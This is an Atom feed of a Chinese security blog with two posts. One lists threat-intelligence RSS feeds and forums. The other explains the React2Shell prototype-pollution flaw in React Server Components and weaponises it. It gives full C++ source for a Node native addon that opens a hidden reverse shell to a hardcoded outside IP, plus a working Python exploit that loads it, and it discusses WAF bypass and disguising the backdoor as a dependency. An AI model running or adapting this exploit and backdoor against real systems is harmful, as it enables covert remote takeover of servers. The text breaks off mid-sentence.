<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Satoru&#39;s Blog</title>
  
  <subtitle>Learning Cyber Security...</subtitle>
  <link href="https://blog.sudo.online/atom.xml" rel="self"/>
  
  <link href="https://blog.sudo.online/"/>
  <updated>2025-12-14T13:55:27.126Z</updated>
  <id>https://blog.sudo.online/</id>
  
  <author>
    <name>Satoru</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>一些时报</title>
    <link href="https://blog.sudo.online/posts/afb5c91c/"/>
    <id>https://blog.sudo.online/posts/afb5c91c/</id>
    <published>2025-12-14T12:26:45.000Z</published>
    <updated>2025-12-14T13:55:27.126Z</updated>
    
    <content type="html"><![CDATA[<h1 id="初衷"><a href="#初衷" class="headerlink" title="初衷"></a>初衷</h1><p>援引：[<a href="https://www.cnblogs.com/Hekeats-L/p/17323912.html">THM]Red Team Threat Intel(红队威胁情报)-红队</a></p><p>受此启发 <strong>决心搭建一个有用的威胁情报狩猎机制，用于接轨日新月异的网络对抗生态</strong></p><p>同时也是拓宽自己的选择吧 <strong>除了日站之外 一定还有能激发自己兴趣的 愿意一直做下去的内容 想跳出舒适圈接触一些更新的东西</strong></p><p>会持续更新的 慢慢<strong>添加一些感兴趣的 有价值的内容</strong></p><p><img src="/posts/afb5c91c/image-20250823210730017.png" alt="image-20250823210730017"></p><h1 id="RSS"><a href="#RSS" class="headerlink" title="RSS"></a>RSS</h1><h2 id="APT-与威胁情报类-RSS"><a href="#APT-与威胁情报类-RSS" class="headerlink" title="APT 与威胁情报类 RSS"></a>APT 与威胁情报类 RSS</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">https://securelist.com/feed/                    # Kaspersky Securelist（APT研究密集）。来源见Securelist与ThreatConnect汇总。 :contentReference[oaicite:0]&#123;index=0&#125;</span><br><span class="line">https://blog.google/threat-analysis-group/rss   # Google TAG（国家级威胁/0day生态）。来源见Google与汇总。 :contentReference[oaicite:1]&#123;index=1&#125;</span><br><span class="line">https://cloudblog.withgoogle.com/topics/threat-intelligence/rss  # Google Cloud/Mandiant TI专栏。 :contentReference[oaicite:2]&#123;index=2&#125;</span><br><span class="line">https://www.mandiant.com/resources/blog/rss.xml # Mandiant 博客RSS（APT/入侵链深度）。 :contentReference[oaicite:3]&#123;index=3&#125;</span><br><span class="line">https://www.microsoft.com/security/blog/feed/   # Microsoft Secure（APT、云身份、企业级漏洞）。 :contentReference[oaicite:4]&#123;index=4&#125;</span><br><span class="line">https://msrc.microsoft.com/blog/feed/           # MSRC（微软产品安全通告/深度分析）。 :contentReference[oaicite:5]&#123;index=5&#125;</span><br><span class="line">https://www.welivesecurity.com/feed/            # ESET WeLiveSecurity（APT与恶意代码调查）。 :contentReference[oaicite:6]&#123;index=6&#125;</span><br><span class="line">https://unit42.paloaltonetworks.com/feed/       # Palo Alto Networks Unit 42（APT/入侵面趋势）。*若客户端无法发现，可退订用主站博客feed*。 :contentReference[oaicite:7]&#123;index=7&#125;</span><br><span class="line">https://blog.talosintelligence.com/feeds/posts/default?alt=rss  # Cisco Talos（威胁情报/漏洞利用追踪）。 :contentReference[oaicite:8]&#123;index=8&#125;</span><br><span class="line">https://www.proofpoint.com/us/rss-feeds/blog-feed.xml          # Proofpoint Threat Insight（鱼叉与TA家族）。 :contentReference[oaicite:9]&#123;index=9&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="漏洞-预警类-RSS（高危、被利用优先）"><a href="#漏洞-预警类-RSS（高危、被利用优先）" class="headerlink" title="漏洞&#x2F;预警类 RSS（高危、被利用优先）"></a>漏洞&#x2F;预警类 RSS（高危、被利用优先）</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">https://www.cisa.gov/cybersecurity-advisories/ics-advisories.xml         # CISA 工控ICS通告（全球影响力高）。 :contentReference[oaicite:10]&#123;index=10&#125;</span><br><span class="line">https://www.cisa.gov/cybersecurity-advisories/ics-medical-advisories.xml # CISA 医疗ICS通告。 :contentReference[oaicite:11]&#123;index=11&#125;</span><br><span class="line">https://isc.sans.edu/rssfeed_full.xml                                    # SANS Internet Storm Center（热点威胁/在野利用观测）。 :contentReference[oaicite:12]&#123;index=12&#125;</span><br><span class="line">https://github.com/CryptoGenNepal/CVE-KEV-RSS                            # 社区维护的“CISA KEV” RSS镜像（官方KEV现偏向邮件推送，此处替代）。 :contentReference[oaicite:13]&#123;index=13&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>补充说明（别被坑）：</p><ul><li><strong>CISA KEV官方</strong>近月调整了更新机制，<strong>官方RSS时好时坏</strong>，更稳的是邮箱&#x2F;GovDelivery；上面给的是<strong>社区可靠镜像</strong>以便自动化使用</li><li><strong>NVD</strong>当前主推 <strong>JSON 数据源</strong>（不是RSS）。做自动化筛选（CVSS≥9&#x2F;含“exploited”标签）请走其数据&#x2F;接口。</li></ul><h2 id="SubReddit"><a href="#SubReddit" class="headerlink" title="SubReddit"></a>SubReddit</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">https://www.reddit.com/r/cybersecurity/</span><br><span class="line">https://www.reddit.com/r/netsec/</span><br><span class="line">https://www.reddit.com/r/hacking/</span><br><span class="line">https://www.reddit.com/r/crypto/</span><br><span class="line">https://www.reddit.com/r/AskNetsec/</span><br><span class="line">https://www.reddit.com/r/Information_Security/</span><br><span class="line">https://www.reddit.com/r/Malware/</span><br><span class="line">https://www.reddit.com/r/ReverseEngineering/</span><br><span class="line">https://www.reddit.com/r/Pentesting/</span><br><span class="line">https://www.reddit.com/r/cyber_security/</span><br><span class="line">https://www.reddit.com/r/CyberSecurityAdvice/</span><br><span class="line">https://www.reddit.com/r/ComputerSecurity/</span><br><span class="line">https://www.reddit.com/r/SecurityAnalysis/</span><br><span class="line">https://www.reddit.com/r/netsecstudents/</span><br><span class="line">https://www.reddit.com/r/threatintel/</span><br><span class="line">https://www.reddit.com/r/blueteamsec/</span><br><span class="line">https://www.reddit.com/r/redteamsec/</span><br><span class="line">https://www.reddit.com/r/SCADA/</span><br><span class="line">https://www.reddit.com/r/digitalforensics/</span><br><span class="line">https://www.reddit.com/r/phishing/</span><br><span class="line">https://www.reddit.com/r/WindowsSecurity/</span><br><span class="line">https://www.reddit.com/r/macOSsecurity/</span><br><span class="line">https://www.reddit.com/r/Android_Security/</span><br><span class="line">https://www.reddit.com/r/chromeos/</span><br><span class="line">https://www.reddit.com/r/OSINT/</span><br><span class="line">https://www.reddit.com/r/Cybersecurity101/</span><br><span class="line">https://www.reddit.com/r/Hacking_Tutorials/</span><br><span class="line">https://www.reddit.com/r/CyberSecurityJobs/</span><br><span class="line">https://www.reddit.com/r/CybersecurityMemes/</span><br></pre></td></tr></table></figure><h2 id="安全研究员"><a href="#安全研究员" class="headerlink" title="安全研究员"></a>安全研究员</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">https://adsecurity.org/</span><br><span class="line">https://blog.harmj0y.net/</span><br><span class="line">https://enigma0x3.net/</span><br><span class="line">https://doublepulsar.com/</span><br><span class="line">https://github.com/gentilkiwi</span><br><span class="line">https://lock.cmpxchg8b.com/</span><br><span class="line">https://doublepulsar.com/</span><br><span class="line">https://www.schneier.com/</span><br><span class="line">https://danielmiessler.com/</span><br><span class="line">https://blog.harmj0y.net/</span><br><span class="line">https://itm4n.github.io/</span><br><span class="line">https://9bie.org/</span><br></pre></td></tr></table></figure><h2 id="较为完善的系列"><a href="#较为完善的系列" class="headerlink" title="较为完善的系列"></a>较为完善的系列</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">https://y4er.com/</span><br><span class="line">https://3gstudent.github.io/</span><br><span class="line">https://www.outflank.nl/blog/</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">人要有收集和消化威胁情报的自觉</summary>
    
    
    
    <category term="research" scheme="https://blog.sudo.online/categories/research/"/>
    
    
    <category term="‘CTI’" scheme="https://blog.sudo.online/tags/%E2%80%98CTI%E2%80%99/"/>
    
  </entry>
  
  <entry>
    <title>React2ShellNode后门上线</title>
    <link href="https://blog.sudo.online/posts/cada0cca/"/>
    <id>https://blog.sudo.online/posts/cada0cca/</id>
    <published>2025-12-10T09:43:43.000Z</published>
    <updated>2025-12-14T13:55:27.091Z</updated>
    
    <content type="html"><![CDATA[<h1 id="React2Shell-Node后门上线"><a href="#React2Shell-Node后门上线" class="headerlink" title="React2Shell_Node后门上线"></a>React2Shell_Node后门上线</h1><h2 id="漏洞本身原理阐述"><a href="#漏洞本身原理阐述" class="headerlink" title="漏洞本身原理阐述"></a>漏洞本身原理阐述</h2><p>都是翻译的外网跟踪，想看Node后门实现的直接翻到后面即可</p><p><strong>漏洞复现分析</strong>：<a href="https://www.stork.ai/blog/reacts-server-killing-flaw-explained?utm_source=chatgpt.com">https://www.stork.ai/blog/reacts-server-killing-flaw-explained?utm_source=chatgpt.com</a></p><p>原型污染听起来很抽象，但在 JavaScript 中，它是最危险的漏洞类型之一。 原型污染并非破坏单个对象，而是允许攻击者篡改 <code>Object.prototype</code> 本身，<strong>它是 Node 或浏览器进程中几乎所有对象的共享祖先。一旦这个根对象被攻破，整个对象图就会开始继承攻击者控制的属性。</strong></p><p>React Server Components 正是由于其 React Flight Protocol 的路径遍历逻辑而陷入了这个陷阱 。反序列化器支持基于冒号的语法来遍历嵌套结构，因此像 <code>:$1:fruit:name</code> 这样的引用意味着“先遍历 chunk 1，然后是 <code>fruit</code>，最后是 <code>name</code>”。研究人员发现，他们完全可以将普通的键替换为 JavaScript 内部的键，并请求 <code>:__proto__</code>。</p><p>一旦攻击路径到达 <code>__proto__</code>，攻击者就可以开始写入它。通过发送精心构造的 Flight 数据块，他们可以执行类似 <code>payload: &#123; &quot;:$1:__proto__:pwned&quot;: &quot;yes&quot; &#125;</code> 的操作，这实际上会将 <code>Object.prototype.pwned</code> 设置为 <code>&quot;yes&quot;</code>。从那时起，进程中的每个普通对象都会突然拥有一个 <code>pwned</code> 属性，即使是在攻击请求完成后很久才创建的对象也不例外。</p><p>Flight 数据结构示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">:$1:fruit:name</span><br></pre></td></tr></table></figure><p>意思是：</p><ul><li>跳到 chunk 1</li><li>找 fruit</li><li>取 name</li></ul><p>类似 JSON Pointer &#x2F; YAML Path 的轻量版。</p><p>研究员发现：<br> <strong>如果把 <code>fruit</code> 换成 <code>__proto__</code>，反序列化器不会管你是不是内部关键字段，它直接跳过去。</strong></p><p><img src="/posts/cada0cca/image-20251210173322688.png" alt="image-20251210173322688"></p><p>攻击者仍然需要一种方法将损坏的对象图转化为可执行的系统命令。React2Shell 的最终技巧是将这个被污染的原型链接到一个完全武器化的<strong>远程代码执行</strong>路径，而它所使用的仅仅是 JavaScript 自身的反射特性和异步语义。</p><p>一旦攻击者控制了基础对象原型，他们就可以沿着原型链遍历，最终找到全局<strong>函数</strong>构造函数。在 JavaScript 中，每个函数最终都继承自 <code>Function.prototype</code>，而 <code>Function</code> 本身可以通过类似 <code>(&#123;&#125;).constructor.constructor</code> 的构造函数访问。</p><p>有了这种访问权限，有效载荷只需执行所有“no eval”绕过方法都会执行的操作：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">new Function(&quot;require(&#x27;child_process&#x27;).execSync(&#x27;id&#x27;);&quot;)</span><br></pre></td></tr></table></figure><p>仍然面临一个问题：**他们可以创建恶意函数，但却无法控制任何明显的调用点。**他们需要利用服务器自身的控制流自动调用该函数，而无需在应用程序代码中显式调用 <code>malicious()</code> 函数。</p><p>JavaScript 的 <code>await</code> 关键字弥补了这一缺失环节。其底层原理是 <code>await value</code> 检查 <code>value</code> 是否可执行 <code>then</code>，如果可执行，则调用 <code>value.then(resolve, reject)</code>。</p><p>通过污染共享原型，定义一个指向攻击者<strong>函数</strong>实例的 <code>.then</code> 属性，任何等待的对象都会突然变成一个触发器。当 React 服务器组件代码在反序列化值上执行 <code>await</code> 时，JS 引擎会忠实地调用 <code>.then</code>，从而执行任意 shell 命令。无需额外的钩子，也无需任何奇怪的工具——仅仅是普通的异步代码路径就变成了一个通用的远程代码执行跳板。</p><h2 id="React2Shell攻击路径："><a href="#React2Shell攻击路径：" class="headerlink" title="React2Shell攻击路径："></a>React2Shell攻击路径：</h2><ol><li>Flight path traversal → 能访问 <code>__proto__</code></li><li><code>__proto__</code> 被赋值 → 污染 Object.prototype</li><li>所有对象继承 <code>.then = attacker_function</code></li><li>RSC 反序列化过程中使用了 <code>await</code></li><li><code>await</code> 自动调用攻击者注入的 <code>.then</code></li><li><code>.then</code> 内使用 Function 构造器 → 访问 Node.js 原生模块</li><li>最终触发系统命令：</li></ol><h2 id="Node后门实现"><a href="#Node后门实现" class="headerlink" title="Node后门实现"></a>Node后门实现</h2><p>在和几位师傅的讨论中，对这个漏洞的利用有提到一个白名单防上车的权限维持需求。当时还在威胁狩猎和广泛利用阶段，因此只草创了几个思路</p><ol><li>修改源码 采用token注册制 只有请求头中带有某个特殊的token才放行 其他的都返回伪装的正常响应，这个就比较</li><li>、直接布waf，然后通过next.js在解析multipart包的时候使用了busboy这个库，这个库实现了RFC 7578中声明的charset选项，所以我们可以通过一些特殊的charset绕过WAF对CVE-2025-55182的拦截 在一定程度上也起到防上车的效果，但是太过简单粗暴容易被察觉<br><img src="/posts/cada0cca/1&e=1769875199&s=mvmmyvyvjjytvyj&token=kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zDr15kIp5hDbaVglda_hZObMkblIA=.png" alt="1&amp;e&#x3D;1769875199&amp;s&#x3D;mvmmyvyvjjytvyj&amp;token&#x3D;kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zDr15kIp5hDbaVglda_hZObMkblIA&#x3D;"></li></ol><p>当时思考了一下，想到了一个新的方案。利用Node自带的C++原生 自己编写一个.node插件，也是走的直接修改源码并import 这个node插件动态加载，本质上还是以修改源码为主，但是作为依赖和二进制文件有先天的隐蔽优越性，因此就打算尝试一下。</p><p>但是在复现的过程中，<strong>虽然生成了对应的patch.node并在本地测试环境部署了，但遇到了NextJs的<a href="https://nextjs.org/docs/app/api-reference/edge">Edge Runtime</a>以及Node Runtime两层相互隔离，无法读取到node插件的问题。因此这个插件如果通过修改源码直接import的方式，也是无法解决问题的。因为整个Web应用是运行在Edge Runtime下 是无法调用到文件系统中的patch.node的</strong></p><p><img src="/posts/cada0cca/unnamed.jpg" alt="unnamed"></p><p>这个时候我想到一种方法，在跟踪这个React2shell的攻击路径中我发现这个漏洞本身是在 Node.js 原生模块，那么也就是在Node Runtime中，我只需要修改poc，改为动态调用我的原生node后门，是否可以实现一个隐蔽化的仿依赖后门呢</p><p>答案是肯定的， 既然执行点最终落在 Node Runtime，那么没有必要把 payload 限制在命令执行层。NodeJS 自带的 Native Addon 机制允许动态加载任意 <code>.node</code> 文件，而 <code>.node</code> 本质就是一段 C&#x2F;C++ 写的共享库。</p><p>既然它能被动态加载，就能当作“依赖”。<br>既然能当作“依赖”，你就能把它伪装成项目依赖的一部分。<br>既然能伪装依赖，就能形成一个<strong>持久化、文件落地式的伪依赖后门</strong>。</p><p><img src="/posts/cada0cca/6afa6913-06e2-4e92-a6cb-bc04095cd50c.png" alt="6afa6913-06e2-4e92-a6cb-bc04095cd50c"></p><p>这里我就只实现了Windows版本的一个测试用例</p><h3 id="源码"><a href="#源码" class="headerlink" title="源码"></a>源码</h3><h4 id="exec-cc"><a href="#exec-cc" class="headerlink" title="exec.cc"></a>exec.cc</h4><p>这里是一个简单的反弹shell demo</p><p>这里可以直接编译成node上传到目标</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br></pre></td><td class="code"><pre><span class="line">#define WIN32_LEAN_AND_MEAN</span><br><span class="line">#include &lt;winsock2.h&gt;</span><br><span class="line">#include &lt;ws2tcpip.h&gt;</span><br><span class="line">#include &lt;windows.h&gt;</span><br><span class="line">#include &lt;node.h&gt;</span><br><span class="line">#include &lt;v8.h&gt;</span><br><span class="line">#include &lt;string&gt;</span><br><span class="line"></span><br><span class="line">#pragma comment(lib, &quot;Ws2_32.lib&quot;)</span><br><span class="line"></span><br><span class="line">using namespace v8;</span><br><span class="line"></span><br><span class="line">// Hardcoded reverse shell target</span><br><span class="line">static const char* kRemoteIP = &quot;8.138.168.33&quot;;</span><br><span class="line">static const int   kRemotePort = 8888;</span><br><span class="line"></span><br><span class="line">void Run(const FunctionCallbackInfo&lt;Value&gt;&amp; args) &#123;</span><br><span class="line">    Isolate* isolate = args.GetIsolate();</span><br><span class="line">    HandleScope scope(isolate);</span><br><span class="line"></span><br><span class="line">    WSADATA wsa;</span><br><span class="line">    if (WSAStartup(MAKEWORD(2,2), &amp;wsa) != 0) &#123;</span><br><span class="line">        args.GetReturnValue().Set(String::NewFromUtf8(isolate, &quot;WSAStartup failed&quot;).ToLocalChecked());</span><br><span class="line">        return;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);</span><br><span class="line">    if (s == INVALID_SOCKET) &#123;</span><br><span class="line">        WSACleanup();</span><br><span class="line">        args.GetReturnValue().Set(String::NewFromUtf8(isolate, &quot;socket failed&quot;).ToLocalChecked());</span><br><span class="line">        return;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    sockaddr_in srv&#123;&#125;;</span><br><span class="line">    srv.sin_family = AF_INET;</span><br><span class="line">    srv.sin_port = htons(kRemotePort);</span><br><span class="line">    inet_pton(AF_INET, kRemoteIP, &amp;srv.sin_addr);</span><br><span class="line"></span><br><span class="line">    if (connect(s, (sockaddr*)&amp;srv, sizeof(srv)) == SOCKET_ERROR) &#123;</span><br><span class="line">        closesocket(s);</span><br><span class="line">        WSACleanup();</span><br><span class="line">        args.GetReturnValue().Set(String::NewFromUtf8(isolate, &quot;connect failed&quot;).ToLocalChecked());</span><br><span class="line">        return;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    // Make the socket handle inheritable</span><br><span class="line">    SetHandleInformation((HANDLE)s, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT);</span><br><span class="line"></span><br><span class="line">    STARTUPINFOA si&#123;&#125;;</span><br><span class="line">    PROCESS_INFORMATION pi&#123;&#125;;</span><br><span class="line">    si.cb = sizeof(si);</span><br><span class="line">    si.dwFlags = STARTF_USESTDHANDLES;</span><br><span class="line">    si.hStdInput  = (HANDLE)s;</span><br><span class="line">    si.hStdOutput = (HANDLE)s;</span><br><span class="line">    si.hStdError  = (HANDLE)s;</span><br><span class="line"></span><br><span class="line">    char cmd[] = &quot;cmd.exe&quot;;</span><br><span class="line">    BOOL ok = CreateProcessA(</span><br><span class="line">        NULL,</span><br><span class="line">        cmd,</span><br><span class="line">        NULL,</span><br><span class="line">        NULL,</span><br><span class="line">        TRUE,              // inherit handles</span><br><span class="line">        CREATE_NO_WINDOW,  // no visible window</span><br><span class="line">        NULL,</span><br><span class="line">        NULL,</span><br><span class="line">        &amp;si,</span><br><span class="line">        &amp;pi</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    if (!ok) &#123;</span><br><span class="line">        closesocket(s);</span><br><span class="line">        WSACleanup();</span><br><span class="line">        args.GetReturnValue().Set(String::NewFromUtf8(isolate, &quot;CreateProcess failed&quot;).ToLocalChecked());</span><br><span class="line">        return;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    // 保持句柄不被关闭，避免反连瞬断：不关闭 socket，不关闭进程句柄</span><br><span class="line">    // 启一个后台线程永远阻塞，防止模块卸载</span><br><span class="line">    HANDLE hThread = CreateThread(</span><br><span class="line">        NULL,</span><br><span class="line">        0,</span><br><span class="line">        [](LPVOID) -&gt; DWORD &#123;</span><br><span class="line">            Sleep(INFINITE);</span><br><span class="line">            return 0;</span><br><span class="line">        &#125;,</span><br><span class="line">        NULL,</span><br><span class="line">        0,</span><br><span class="line">        NULL</span><br><span class="line">    );</span><br><span class="line">    if (hThread) CloseHandle(hThread);</span><br><span class="line"></span><br><span class="line">    // 不等待子进程，不关闭 pi.hProcess，让 cmd.exe 拿着 socket</span><br><span class="line">    if (pi.hThread) CloseHandle(pi.hThread);</span><br><span class="line">    // 留着 pi.hProcess 和 s 直到进程结束</span><br><span class="line"></span><br><span class="line">    args.GetReturnValue().Set(String::NewFromUtf8(isolate, &quot;ok&quot;).ToLocalChecked());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">void Init(Local&lt;Object&gt; exports) &#123;</span><br><span class="line">    NODE_SET_METHOD(exports, &quot;run&quot;, Run);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">NODE_MODULE(exec, Init)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="poc"><a href="#poc" class="headerlink" title="poc"></a>poc</h4><p>直接运行poc即可</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"># /// script</span><br><span class="line"># dependencies = [&quot;requests&quot;]</span><br><span class="line"># ///</span><br><span class="line">import requests</span><br><span class="line">import sys</span><br><span class="line">import json</span><br><span class="line">import os</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if len(sys.argv) &lt; 3:</span><br><span class="line">    print(&quot;Usage: python poc.py &lt;target_ip&gt; &lt;target_port&gt;&quot;)</span><br><span class="line">    sys.exit(1)</span><br><span class="line"></span><br><span class="line">target_ip = sys.argv[1]</span><br><span class="line">target_port = sys.argv[2]</span><br><span class="line">BASE_URL = f&quot;http://&#123;target_ip&#125;:&#123;target_port&#125;&quot;</span><br><span class="line">print(f&quot;[+] Target: &#123;BASE_URL&#125;&quot;)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">prefix_js = (</span><br><span class="line">    &quot;const m=process.mainModule.require(&#x27;module&#x27;);&quot;</span><br><span class="line">    &quot;const req=m.createRequire(process.cwd()+&#x27;/&#x27;);&quot;</span><br><span class="line">    &quot;const fs=req(&#x27;fs&#x27;);const path=req(&#x27;path&#x27;);&quot;</span><br><span class="line">    &quot;const cand=[path.join(process.cwd(),&#x27;node&#x27;,&#x27;exec.node&#x27;),path.join(process.cwd(),&#x27;exec.node&#x27;)];&quot;</span><br><span class="line">    &quot;let ok=false,err=&#x27;&#x27;;&quot;</span><br><span class="line">    &quot;for(const p of cand)&#123;try&#123;if(fs.existsSync(p))&#123;req(p).run();ok=true;break;&#125;&#125;catch(e)&#123;err=String(e);&#125;&#125;&quot;</span><br><span class="line">    &quot;if(!ok)&#123;throw new Error(&#x27;exec.node not found &#x27;+cand.join(&#x27;|&#x27;)+&#x27; &#x27;+err);&#125; &quot;</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">crafted_chunk = &#123;</span><br><span class="line">    &quot;then&quot;: &quot;$1:__proto__:then&quot;,</span><br><span class="line">    &quot;status&quot;: &quot;resolved_model&quot;,</span><br><span class="line">    &quot;reason&quot;: -1,</span><br><span class="line">    &quot;value&quot;: &#x27;&#123;&quot;then&quot;: &quot;$B0&quot;&#125;&#x27;,</span><br><span class="line">    &quot;_response&quot;: &#123;</span><br><span class="line">        &quot;_prefix&quot;: prefix_js,</span><br><span class="line">        &quot;_formData&quot;: &#123;</span><br><span class="line">            &quot;get&quot;: &quot;$1:constructor:constructor&quot;,</span><br><span class="line">        &#125;,</span><br><span class="line">    &#125;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">files = &#123;</span><br><span class="line">    &quot;0&quot;: (None, json.dumps(crafted_chunk)),</span><br><span class="line">    &quot;1&quot;: (None, &#x27;&quot;$@0&quot;&#x27;),</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">headers = &#123;&quot;Next-Action&quot;: &quot;x&quot;&#125;</span><br><span class="line"></span><br><span class="line">print(&quot;[+] Sending exploit...&quot;)</span><br><span class="line">try:</span><br><span class="line">    res = requests.post(BASE_URL, files=files, headers=headers, timeout=5, allow_redirects=False)</span><br><span class="line">    print(f&quot;[+] Status: &#123;res.status_code&#125;&quot;)</span><br><span class="line">    try:</span><br><span class="line">        print(res.text[:300])</span><br><span class="line">    except Exception:</span><br><span class="line">        pass</span><br><span class="line">except Exception as e:</span><br><span class="line">    print(f&quot;[!] Error during POST: &#123;e&#125;&quot;)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>绕过模块路径限制 → 构造伪造 require → 从当前目录加载名为 exec.node 的原生模块 